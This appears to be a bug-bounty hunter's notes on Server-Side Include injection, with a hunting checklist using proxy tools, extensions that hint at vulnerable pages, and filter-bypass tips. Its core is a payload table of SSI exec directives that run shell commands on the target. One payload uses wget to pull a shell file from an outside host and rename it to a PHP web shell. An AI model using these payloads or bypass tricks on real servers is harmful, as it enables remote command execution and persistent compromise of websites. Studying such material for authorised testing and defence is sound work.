→ It is a feature that allow developer dynamically to generate content to an existing page without updating the whole page.

example

you will enable ssi on webserver to edit content without updating the whole page

As a hunter :

1. look if ssi is enable
2. try to execute ssi directive for shell commands.

SSI-injection

↳ input should be reflected

↳ inject any parameter with →

S.No	Payload Function	SSI Directive Payload
1)	List files of directory in Linux	<!--#exec cmd="ls" -->
2)	Access directories in Linux	<!--#exec cmd="cd /root/dir/">
3)	Shell Execution Script	<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
4)	List files of directory in Windows	<!--#exec cmd="dir" -->
5)	Access Directories in Windows	<!--#exec cmd="cd C:\admin\dir">
6)	To change the error message output	<!--#config errmsg="File not found, informs users and password"-->
7)	To show current document filename	<!--#echo var="DOCUMENT_NAME" -->
8)	To show virtual path and filename	<!--#echo var="DOCUMENT_URI" -->
9)	Using the "config" command and "timefmt" parameter, it is possible to control the date and time output format:	<!--#config timefmt="A %B %d %Y %r"-->
10)	Using the "fsize" command, it is possible to print the size of selected file:	<!--#fsize file="ssi.shtml" -->

Most ssi works with :

.stm .shtml .sht } you see this ; it's may be ssi vulnerable.

* steps hunting :

① intercept + spider
② look for .shtml , .stm, .sht , /bin/
③ send to repeater & inject it mannally
④ you can also send request to intruder
⑤ bruteforce & see results in repeater.

order by length

To bypass

↳ encode url key character

↳ add & befor payload.